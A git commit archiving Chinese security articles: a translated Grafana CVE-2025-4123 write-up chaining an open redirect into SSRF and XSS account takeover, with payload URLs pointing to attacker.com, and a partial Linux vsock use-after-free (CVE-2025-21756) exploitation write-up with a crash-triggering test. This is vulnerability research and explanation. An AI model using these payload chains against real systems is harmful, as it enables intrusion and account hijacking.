渗透工具箱V8 集成Web扫描、漏洞利用、抓包、免杀等等|漏洞探测、Linux内核漏洞利用CVE-2025-21756:Vsock 攻击、【Web实战】一次空白页面的“妙手回春”嘎嘎出严重漏洞、杭州九麒科技 BigAnt-Admin uploadMultipleFile.html 任意文件上传漏洞、翻倍回归,实物好礼。端午挖洞,漏洞必“粽”!、Grafana CVE-2025-4123:SSRF 和账户接管漏洞完整解读、全网首发!CVE-2025-24813 Tomcat 最新 RCE 分析复现、

This commit is contained in:
test 2025-05-24 12:35:14 +00:00
parent 00c6ce6696
commit f80be558ab
8 changed files with 1270 additions and 4 deletions

View File

@ -14403,5 +14403,12 @@
"https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649795216&idx=2&sn=d7cde799c6ed900c2698161c0c56e9e6": "因不满漏洞分级发现者公布WinServer2025 0day细节",
"https://mp.weixin.qq.com/s?__biz=MzkxNzUxMjU5OQ==&mid=2247485423&idx=1&sn=d9bde7cd03a3dc78b49d5fea5db6ef8f": "代码审计| U8 FileManageServlet 文件读取漏洞分析",
"https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247520685&idx=1&sn=2148af7e1e40d55f1ed68fc0748a6e17": "Apache Httpd 常见漏洞解析(全)",
"https://mp.weixin.qq.com/s?__biz=MzIzMDQwMjg5NA==&mid=2247507223&idx=1&sn=b55962eb35d5b103d92307f7e2f0b138": "【一周安全资讯0524】《2025年深入推进IPv6规模部署和应用工作要点》印发英特尔CPU曝重大安全漏洞可导致内存泄露"
"https://mp.weixin.qq.com/s?__biz=MzIzMDQwMjg5NA==&mid=2247507223&idx=1&sn=b55962eb35d5b103d92307f7e2f0b138": "【一周安全资讯0524】《2025年深入推进IPv6规模部署和应用工作要点》印发英特尔CPU曝重大安全漏洞可导致内存泄露",
"https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247491626&idx=1&sn=f55c457d659713b518df8651942f1537": "渗透工具箱V8 集成Web扫描、漏洞利用、抓包、免杀等等|漏洞探测",
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247530109&idx=1&sn=75ff148b005e2bce0789e1879e64c919": "Linux内核漏洞利用CVE-2025-21756Vsock 攻击",
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247487813&idx=6&sn=82b64fad1360284dfe652b3f1df2aea8": "【Web实战】一次空白页面的“妙手回春”嘎嘎出严重漏洞",
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491565&idx=1&sn=b56914958f73bce32eb0443897986322": "杭州九麒科技 BigAnt-Admin uploadMultipleFile.html 任意文件上传漏洞",
"https://mp.weixin.qq.com/s?__biz=Mzg5OTYwMTY5MA==&mid=2247522496&idx=1&sn=03908f5716152bca098c167b96452dd1": "翻倍回归,实物好礼。端午挖洞,漏洞必“粽”!",
"https://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247506454&idx=1&sn=b4531761caf101bef0abf29b9897baca": "Grafana CVE-2025-4123SSRF 和账户接管漏洞完整解读",
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247487813&idx=1&sn=c8f2fc003c6b314c308c9b2c966f62db": "全网首发CVE-2025-24813 Tomcat 最新 RCE 分析复现"
}

View File

@ -0,0 +1,667 @@
# Grafana CVE-2025-4123SSRF 和账户接管漏洞完整解读
haidragon 安全狗的自我修养 2025-05-24 00:05
https://nightbloodz.github.io/grafana-CVE-2025-4123/
# 概括
当 Web 应用程序采用 URL 参数并将用户重定向到指定的 URL 而不进行验证时,就会发生开放重定向。
/redirect?url=https://evil.com
 --> (302 Redirect) --> https://evil.com
这个问题本身可能看起来并不危险,但这种类型的漏洞却揭示了两个独立的漏洞:一个是完全读取的 SSRF 漏洞,另一个是账户接管漏洞。
在这篇文章中,我将逐步讲解我是如何发现这两个漏洞的。
# 为什么选择 Grafana
Grafana 是一个开源分析平台,主要用 Go 和 TypeScript 构建,用于可视化来自 Prometheus 和 InfluxDB 等来源的数据。
我觉得在这个 Web 应用中发现漏洞是一个不小的挑战,所以我下载了源代码并开始调试——尽管这是我第一次使用 Go 语言。我决定专注于应用程序中未经身份验证的部分。
# 入口点:开放重定向
我检查了所有未认证的端点定义在api/api.go
...
// not logged in views
r.Get(
"/logout"
, hs.Logout)
r.Post(
"/login"
, requestmeta.SetOwner(requestmeta.TeamAuth), quota(
string
...
r.Get(
"/login/:name"
, quota(
string
(auth.QuotaTargetSrv)), hs.OAuthLogin)
r.Get(
"/login"
, hs.LoginView)
r.Get(
""
, hs.Index)
// authed views
r.Get(
"/"
, reqSignedIn, hs.Index)
r.Get(
"/profile/"
, reqSignedInNoAnonymous, hs.Index)
...## 功能
我甚至深入研究了整个应用程序中使用的中间件。这时,我偶然发现了一个负责处理静态路由的函数,它引起了我的注意。
func
staticHandler
(ctx *web.Context, log log.Logger, opt StaticOptions)
bool
 {
if
 ctx.Req.Method != 
"GET"
 && ctx.Req.Method != 
"HEAD"
 {
return
false
 }
 file := ctx.Req.URL.Path
for
 _, p := 
range
 opt.Exclude {
if
 file == p {
return
false
  }
 }
// if we have a prefix, filter requests by stripping the prefix
if
 opt.Prefix != 
""
 {
if
 !strings.HasPrefix(file, opt.Prefix) {
return
false
  }
  file = file[
len
(opt.Prefix):]
if
 file != 
""
 && file[
0
] != 
'/'
 {
return
false
  }
 }
 f, err := opt.FileSystem.Open(file)
if
 err != 
nil
 {
return
false
 }
   ..............
}
该函数用于根据用户输入从系统中检索文件。自然而然地,我的第一个想法是尝试使用类似路径遍历技术加载任意文件../。
我将向您解释所有代码和清理措施的流程(了解漏洞很重要):
因此,如果您请求/public/file/../../../name路径将被清理并解析为/staticfiles/etc/etc/name从而有效地阻止对目标目录之外的非目标文件的访问。
此外如果解析的最终路径指向一个文件夹该StaticHandler函数会检查其中的默认文件 - 通常/index.html从该目录提供服务。
if
 fi.IsDir() {
// Redirect if missing trailing slash.
if
 !strings.HasSuffix(ctx.Req.URL.Path, 
"/"
) {
        path := fmt.Sprintf(
"%s/"
, ctx.Req.URL.Path)
if
 !strings.HasPrefix(path, 
"/"
) {
// Disambiguate that it's a path relative to this server
            path = fmt.Sprintf(
"/%s"
, path)
        } 
else
 {
// A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path
            rePrefix := regexp.MustCompile(
`^(?:/\\|/+)`
)
            path = rePrefix.ReplaceAllString(path, 
"/"
)
        }
        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return
true
    }
    file = path.Join(file, opt.IndexFile)
    indexFile, err := opt.FileSystem.Open(file)
    ....
}
如您所见,如果最终文件是一个目录,并且提供的路由(/public/build不以结尾/,则服务器将重定向到相同的路径,并在尾部/附加一个。
GET
 /
public
/build HTTP/
1.1
Host:
192.168
.
100.2
:
3000
HTTP
/
1.1
302
Found
Location
: 
/public/
build/
这种重定向行为就是开放重定向漏洞发生的地方,接下来让我们深入研究一下。
# 客观的
我有一个场景应用程序根据提供的路由进行重定向因此最终的重定向URL始终以 开头/。我的目标是创建一个路由,当请求时,重定向到以 开头的有效完整URL /,例如:
- //attacker.com/...-->//表示协议相对 URL使用与当前页面相同的协议HTTPS
- /\attacker.com/...-->/\做同样的事情
# 问题与解决方案
## 有效目录
为了实现重定向功能,我需要一个以 开头的路由/public/,当传递给 时opt.FileSystem.Open(file),解析为一个有效的目录。
我从 开始/public/\attacker.com/../..,它解析为一个空字符串"",然后附加到/staticfiles/etc/etc/触发if fi.isDir(){}代码流。
/public/\attacker.com/../..-->
/\attacker.com/../..--> ""-->
/staticfiles/etc/etc/+ ""-->fi.isDir() TRUE
现在我有一种方法可以注入任何将被解释为文件夹的有效载荷opt.FileSystem.Open(file)。
/public/{}/../../..
## 不一致
一旦进入该isDir()部分,/public/\attacker.com/../..路径就会到达该http.Redirect()函数。问题在于,该函数也会解析该路径,从而导致重定向路径为/。
if
 fi.IsDir() {
    ...
//path is "/public/\attacker.com/../.." but the final redirect is "/"
        http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)
return
true
    ...
}
如果我请求/public/\attacker.com/../..
```
```
```
```
因此,基本上,
我需要创建一条路由,在加载文件时/../../..通过该路由解析但在执行重定向时仍未解析。opt.FileSystem.Open(file)
http.Redirect()
在每种情况下,路径的解析方式都不同。
- opt.FileSystem.Open(file)需要一个系统文件
- http.Redirect(path)需要一个 URL 路径
> 问题就是答案?
- opt.FileSystem.Open(file)视为?普通字符。
- http.Redirect(path)解释?为 URL 参数的开头。
这意味着/public/\attacker.com/?/../../../..将被这样处理:
在opt.FileSystem.Open()— >
- /public/\attacker.com/?/../../../..解析为""--> /staticfiles/etc/etc/+""是一个有效的文件夹。
在http.Redirect()→
- /public/\attacker.com/?/../../../..--> 后面的任何内容都?被视为查询字符串,并且不会被解析为路径的一部分。
使用?->进行请求%3f
```
```
```
```
## 最终有效载荷
该 URL/public/\attacker.com/?/../../../..需要解析为以 开头的完整 URL /\。
我直接使用了以下路径:/public/../\attacker.com/?/../../../..
当 http.Redirect() 解析路径时,它会删除该/public部分。
要求:
```
```
```
```
## 概括
# 完整阅读 SSRF
该开放重定向本身不会对安全产生任何严重影响,因此我需要将其与另一个功能链接起来。
Grafana 有一个名为的端点/render用于根据提供的路径生成图像。
// rendering
r
.Get
(
"/render/*"
, requestmeta.
SetSLOGroup
(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)
此端点使用无头浏览器来呈现用户指定的路由的 HTML它仅接受相对 URL 路径/route而不允许呈现来自绝对 URL 的内容https://...。
但是,如果我使用找到的开放重定向重定向到内部服务会怎么样呢?
首先我尝试google.es使用/render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..
然后我设置了一个无法从外部访问的内部服务
并尝试127.0.0.1:1234加载/render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..
利用此漏洞我能够完全读取内部服务。由于使用浏览器进行渲染我甚至可以POST通过精心设计一个表单来发送针对内部服务的请求。
Grafana 在 Intigriti 上的公共程序不包含该/render端点因为它默认未启用。
此外,这个漏洞需要登录,所以我无法从中获得任何信息。
# 通过XSS接管帐户
这可能是我利用过的实现 XSS 和帐户接管的最佳漏洞链。
## 客户端路径遍历
Grafana 客户端代码的很大一部分允许客户端路径遍历。
例如,当你/invite/1在浏览器中加载时JavaScript 会发出请求来/api/user/invite/1检索邀请信息。
但是,如果您加载/invite/..%2f..%2f..%2f..%2frouteJavaScript 会解析路径遍历并最终加载/route。
这创建了一个完美的场景来强制 JavaScript 加载开放重定向,进而从我的服务器获取特制的 JSON。
但首先,我需要找到一个以不安全的方式加载内容的端点并利用它执行 JavaScript。
## 加载恶意 JavaScript 文件
您可以使用/a/plugin-app/explore来加载和管理插件应用。
此功能的 JavaScript 从 URL 中提取插件应用名称,并使用它来向 请求插件信息/api/plugins/plugin-app/settings。
该/api/plugins/plugin-app/settings文件看起来像这样。
{
"name"
:
"plugin-app"
,
"type"
:
"app"
,
"id"
:
"plugin-app"
,
"enabled"
:
true
,
"pinned"
:
true
,
"autoEnabled"
:
true
,
"module"
:
"/modules/..../plugin-app.js"
,
//js file to load
"baseUrl"
:
"public/plugins/grafana-lokiexplore-app"
,
"info"
:
{
"author"
:
{
"name"
:
"Grafana"
            ...
}
}
    ...
}
/a/plugin-app/explore加载该文件并执行参数中提供的 javascript "module"。
/a/plugin-app/explore容易受到客户端路径遍历的攻击这使我能够在服务器上加载任何路由而不是/api/plugin-app/settings。
这使我可以加载开放重定向,从而获取包含我想要的任何 JavaScript 文件的恶意 JSON。
基本上,我搭建了自己的服务器,并准备好了所有必要的 JS 和 JSON 文件。我只需要托管一个像这样的 JSON 文件:
```
```
并加载此路由,/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore利用客户端路径遍历和开放重定向。
结果:
我的恶意 JavaScript 文件被执行,允许我更改受害者的电子邮件并重置他们的密码。
## 概括
我一直以为 Grafana 不可能被黑客攻击。它看起来如此复杂和安全——说实话,它确实如此。
但发现这个漏洞证明,无论应用程序看起来多么安全,它总是有或最终会有漏洞。
我无法通过向多个漏洞赏金计划报告来进一步升级该漏洞,因为两种利用途径都需要身份验证
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQEREkjoibjFst4F2YTlvkRG4zW4Nlt9pZBgFYgFxfVZFxu83EQnESej7ydiblH1UfHqKX3hBfcm76JiaSA/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQEREkjoibjFst4F2YTlvkRG4zW0h21TYuO94OrIGsD2aHGrUcUYiasibQS5AYJ4a95Ra3zIFIXQ4e8lkFA/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQEREkjoibjFst4F2YTlvkRG4zW6iapnXQ3Wviaiaiap37xFRqNok6BymcTiacnk07OowXYFowAKYfa9zS6gSA/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQEREkjoibjFst4F2YTlvkRG4zWiaJkE3jZRR7znMJDXAlibBzibYaGLMlVvsa1xhlQFyv3viaARicSIII7a9A/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
#
****
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHWXCBzZk44eZOKvIGq0RZia2vfZVtmPodgjznTwlY7PXU40F5KQ8xiceJOhLktswpMhec0zQVz07Cw/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
****
**rust语言全栈开发视频教程-第一季(2025最新)**
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERFO4iaNJUiawzlicADlGjS6UCWtUt0Jaibcc4U8aM7H8pSmjNWZHzZC2ibEib1voX6Waqowyd0Mnfce48Hg/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERFO3lqcLOMSd2PQZ9GiblkFIKNw2LH9DMNEibhyxpUVNCd907wCN9NroUqTaJgquiapibArIRby4AGMoQ/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERFO3lqcLOMSd2PQZ9GiblkFIRnBhWWFJXdzp516ibYibQsicDCzfq1MicKGdv9os1l2nyDAVNSR8b5cPow/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
# 详细目录
# mac/ios安全视频
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERFbBn3mydWukVkxb7u4ibpOneTvEKRymYhW9KMlUWP1RnaXLuZibvPMdGmrdWVV3AMJya9dNxszgOeA/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
# QT开发底层原理与安全逆向视频教程
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERGLucgfllJsyUEFRxtnUNkLfUhNeUCnH7x8VtPq0Q2zxZBdhjqiaibsx0rIbaYWMuIibmk5QtNPzsOSw/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
linux文件系统存储与文件过滤安全开发视频教程(2024最新)
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHSM6Wk8NAEmbHHUS2brkROr9JOj6WZCwGz4gE4MlibULVefmhRw2dvJd8ZeYnDpRIm0AV1TmIsuEQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
linux高级usb安全开发与源码分析视频教程
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHCd9Qic4AAIQfFFD7Rabvry4pqowTdAw6HyVbkibwH5NjRTU4Mibeo4JbMRD3XplqCRzg4Kiaib3jchSw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
**linux程序设计与安全开发**
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERGoVibbKav1DpliaTJ9icDrosqXeWyaMRJdCVWEG0VYLDibSMwUP1L5r9XmLibGkEkSZnXjPD6mWgkib9lA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
****- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEH4eXCW471pNuHpGPzUKCkbyticiayoQ5gxMtoR1AX0QS7JJ2v1Miaibv1lA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
- #
-
- w
i
n
d
o
w
s
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERE5qcRgQueCyt3U01ySnOUp2wOmiaFhcXibibk6kjPoUhTeftn9aOHJjO6mZIIHRCBqIZ1ok5UjibLMRA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
- w
i
n
d
o
w
s
(
)
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEHmvkF91T2mwk3lSlbG5CELC5qbib3qMOgHvow2cvl6ibicVH4KguzibAQOQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
- U
S
B
(
)
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEHv0vyWxLx9Sb68ssCJQwXngPmKDw2HNnvkrcle2picUraHyrTG2sSK7A/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
- 游
(
)
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEHzEAlXtdkXShqbkibJUKumsvo65lnP6lXVR7nr5hq4PmDZdTIoky8mCg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
- i
o
s
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEHmjrTM3epTpceRpaWpibzMicNtpMIacEWvJMLpKKkwmA97XsDia4StFr1Q/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
- w
i
n
d
b
g
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERECMA4FBVNaHekaDaROKFEibv9VNhRI73qFehic91I5dsr3Jkh6EkHIRTPGibESZicD7IeA5ocHjexHhw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
- 还
(
)
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHhezg9PuKylWLTBfCjokEHDvveGEwLYBVsps1sH6rGrSnNZtjD2pzCk4EwhH3yeVNibMMSxsW5jkg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERECMA4FBVNaHekaDaROKFEibDwwqQLTNPnzDQxtQUF6JjxyxDoNGsr6XoNLicwxOeYfFia0whaxu6VXA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERECMA4FBVNaHekaDaROKFEibR2Viaxgog8I2gicVHoXJODoqtq7tTVGybA8W0rTYaAkLcp8e2ByCd1QQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQEREEHMPaJ2RMX7CPES3mic42r1Wub102J6lAmEwKIicDfADiajsEReibfvSCbmiaRlGRCQibqfJJia0iak421Q/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
-
- **windows恶意软件开发与对抗视频教程**
-
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERFPap5AiahwlmRC2MGPDXSULNssTzKQk8b4K3pttYKPjVL4xPVu1WHTmddAZialrGo8nQB3dJfJvlZQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHYgfyicoHWcBVxH85UOBNaPMJPjIWnCTP3EjrhOXhJsryIkR34mCwqetPF7aRmbhnxBbiaicS0rwu6w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
- ****
- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHYgfyicoHWcBVxH85UOBNaPZeRlpCaIfwnM0IM4vnVugkAyDFJlhe1Rkalbz0a282U9iaVU12iaEiahw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")

View File

@ -0,0 +1,201 @@
# Linux内核漏洞利用CVE-2025-21756Vsock 攻击
Ots安全 2025-05-24 08:50
w
![](https://mmbiz.qpic.cn/mmbiz_gif/bL2iaicTYdZn7gtxSFZlfuCW6AdQib8Q1onbR0U2h9icP1eRO6wH0AcyJmqZ7USD0uOYncCYIH7ZEE8IicAOPxyb9IA/640?wx_fmt=gif "")
> 文章讲的是Linux内核的一个漏洞CVE-2025-21756名字还挺酷叫“Attack of the Vsock”。这个漏洞其实是个Use-After-Free问题存在于vsock子系统里主要是因为引用计数处理得不好导致攻击者能直接提权到root拿到系统控制权。作者在文章里详细讲了咋利用这个漏洞包括怎么绕过AppArmor和kASLR还用ROP链搞定了代码执行最后在Linux 6.6.75上拿到了root shell。说实话这种漏洞挺让人头疼的Linux内核安全一直是个老大难问题类似的UAF漏洞之前也见过不少。这篇文章写得挺实在的感兴趣的朋友可以看看
一开始只是随意浏览KernelCTF提交的内容但很快就演变成长达数周的深入研究研究一个看似简单的补丁 - 以及我第一次从 Linux 内核漏洞中获得 root shell
在浏览公开的提交电子表格时我看到了一个有趣的条目exp237。这个漏洞补丁看起来非常简单我惊讶于一位研究人员竟然能够利用它进行权限提升。于是我开始了一段可能会降低我的GPA甚至偶尔让我怀疑自己是否理智的旅程我的第一个Linux内核漏洞利用
设置环境
在开始深入开发漏洞利用程序之前,我们需要搭建一个良好的 Linux 内核调试环境。我决定使用QEMU并结合midas 的精彩文章和 bata 的gdb 内核扩展脚本。我选择从 Linux 内核 6.6.75 开始,因为它与其他研究人员正在利用的版本接近。实际上,我在 WSL 中完成了整个项目,这样我就可以在学校的 Windows 电脑上编写漏洞利用程序了!
![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48tadaUxE9eycrpH9MyyWrS4apryIicPsT9Pwaib8r1ACIRu4iaqe8BFzpLSeBolbOVnrImGy2Njg8M7FibA/640?wx_fmt=png&from=appmsg "")
补丁分析
从下面的补丁中可以看出修复仅涉及几行代码。从代码和说明来看传输重新分配可以触发vsock_remove_sock从而调用 vsock_remove_bound从而错误地减少 vsock 对象上的引用计数器(如果套接字一开始就未绑定)。
当内核中某个对象的引用计数器达到零时,该对象将被释放到其各自的内存管理器。理想情况下,在释放 vsock 对象后,我们将能够触发某种释放后使用 (UAF) 漏洞,以获得更好的原始权限并提升权限。
```
--- a/net/vmw_vsock/af_vsock.c+++ b/net/vmw_vsock/af_vsock.c@@ -337,7 +337,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket); void vsock_remove_sock(struct vsock_sock *vsk) {- vsock_remove_bound(vsk);+ /* Transport reassignment must not remove the binding. */+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))+ vsock_remove_bound(vsk);+   vsock_remove_connected(vsk); } EXPORT_SYMBOL_GPL(vsock_remove_sock);@@ -821,12 +824,13 @@ static void __vsock_release(struct sock *sk, int level)    */   lock_sock_nested(sk, level);+ sock_orphan(sk);+   if (vsk->transport)     vsk->transport->release(vsk);   elseif (sock_type_connectible(sk->sk_type))     vsock_remove_sock(vsk);- sock_orphan(sk);   sk->sk_shutdown = SHUTDOWN_MASK;   skb_queue_purge(&sk->sk_receive_queue);
```
除了这个补丁之外,维护人员还为该漏洞添加了一个测试用例,这对于启动漏洞利用非常有用。
```
#define MAX_PORT_RETRIES 24 /* net/vmw_vsock/af_vsock.c */#define VMADDR_CID_NONEXISTING 42/* Test attempts to trigger a transport release for an unbound socket. This can * lead to a reference count mishandling. */staticvoidtest_seqpacket_transport_uaf_client(const struct test_opts *opts){int sockets[MAX_PORT_RETRIES];structsockaddr_vmaddr;int s, i, alen;  s = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET);  alen = sizeof(addr);if (getsockname(s, (struct sockaddr *)&addr, &alen)) {    perror("getsockname");    exit(EXIT_FAILURE);  }for (i = 0; i < MAX_PORT_RETRIES; ++i)    sockets[i] = vsock_bind(VMADDR_CID_ANY, ++addr.svm_port,          SOCK_SEQPACKET);  close(s);  s = socket(AF_VSOCK, SOCK_SEQPACKET, 0);if (s < 0) {    perror("socket");    exit(EXIT_FAILURE);  }if (!connect(s, (struct sockaddr *)&addr, alen)) {    fprintf(stderr, "Unexpected connect() #1 success\n");    exit(EXIT_FAILURE);  }/* connect() #1 failed: transport set, sk in unbound list. */  addr.svm_cid = VMADDR_CID_NONEXISTING;if (!connect(s, (struct sockaddr *)&addr, alen)) {    fprintf(stderr, "Unexpected connect() #2 success\n");    exit(EXIT_FAILURE);  }/* connect() #2 failed: transport unset, sk ref dropped? */  addr.svm_cid = VMADDR_CID_LOCAL;  addr.svm_port = VMADDR_PORT_ANY;/* Vulnerable system may crash now. */  bind(s, (struct sockaddr *)&addr, alen);  close(s);while (i--)    close(sockets[i]);  control_writeln("DONE");}
```
最初的想法
由于这是一个UAF漏洞我最初的想法是尝试跨缓存攻击。我的大致计划如下……
1. 触发 vsock 对象的任意释放
1. 使用一些用户控制的对象来回收页面例如msg_msg
1. 破坏 vsock 对象中的某些函数指针以获取代码执行
我们陷入恐慌!
在我的虚拟机上稍微修改并运行测试代码参见crash.c结果竟然导致了如下所示的内核崩溃经过一番调试我们发现 vsock 对象虽然被释放了但实际上仍然链接到了vsock_bind_table。太棒了
![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48tadaUxE9eycrpH9MyyWrS4ap35PYaLuD9yPLBGbvGpU9dibBBNo9cI97OlGKHKP4zlhHiaoxl6INpO9A/640?wx_fmt=png&from=appmsg "")
当 AppArmor 在回收套接字上执行 bind() 调用期间取消引用 NULL sk_security 指针时,就会发生恐慌。这证实了 UAF 的存在,并凸显了 LSM 钩子带来的障碍(见下文)。
障碍1AppArmor + LSM
我们遇到的第一个主要障碍是 AppArmor。这是上面调用栈中看到的内核调用security_socket_bind和 的地方aa_sk_perm。这security_socket_*两个函数是 Linux 安全模块 (LSM) 钩子,它会调用 AppArmor。那么我们的套接字是如何通过 AppArmor 安全检查的呢?
调查问题显然__sk_destruct调用sk_prot_free而 调用security_sk_free。因此当我们触发漏洞以减少 refcnt 并且 vsock 被释放时sk->sk_security指针将被清零。
```
/** * security_sk_free() - Free the sock's LSM blob * @sk: sock * * Deallocate security structure. */void security_sk_free(struct sock *sk){  call_void_hook(sk_free_security, sk);  kfree(sk->sk_security);  sk->sk_security = NULL;}
```
但是当我们调用 时security_socket_bindAppArmor 函数会取消引用这个sk->sk_security结构体。更糟糕的是几乎每个套接字函数似乎都有一个 LSM 对应函数。简而言之:内核赋予我们一个指向套接字的悬空指针——但 AppArmor 确保我们在使用它做任何有用的事情之前就崩溃了。那么,如果我们甚至无法用回收的套接字调用任何有用的函数,我们又该如何进行 UAF 攻击呢?
```
gef> p security_socket_*security_socket_accept security_socket_getpeername security_socket_bind security_socket_getpeersec_dgram security_socket_connect security_socket_getpeersec_stream security_socket_create security_socket_getsockname security_socket_getsockopt security_socket_sendmsgsecurity_socket_listen security_socket_setsockoptsecurity_socket_post_create security_socket_shutdownsecurity_socket_recvmsg security_socket_socketpair
```
我们有两个主要选择。
1. 伪造指向虚假对象的 sk_security 指针
1. 找到一些不受 apparmor 保护的函数
我决定首先探索选项#2
我首先关注的是找到一种方法来泄露一些地址。一些“显而易见”的选择是像getsockopt或 这样的函数getsockname但这些函数都受到 apparmor 的保护。浏览源代码时我偶然发现了这个vsock_diag_dump功能。这是一个非常有趣的函数因为它不受 apparmor 的保护。代码如下所示。
```
staticintvsock_diag_dump(struct sk_buff *skb, struct netlink_callback *cb){// ... snip .../* Bind table (locally created sockets) */if (table == 0) {    while (bucket < ARRAY_SIZE(vsock_bind_table)) {      structlist_head *head = &vsock_bind_table[bucket];      i = 0;      list_for_each_entry(vsk, head, bound_table) {        structsock *sk = sk_vsock(vsk);        if (!net_eq(sock_net(sk), net))          continue;        if (i < last_i)          goto next_bind;        if (!(req->vdiag_states & (1 << sk->sk_state)))          goto next_bind;        if (sk_diag_fill(sk, skb,             NETLINK_CB(cb->skb).portid,             cb->nlh->nlmsg_seq,             NLM_F_MULTI) < 0)          goto done;next_bind:        i++;      }      last_i = 0;      bucket++;    }    table++;    bucket = 0;  }// ... snip ...}
```
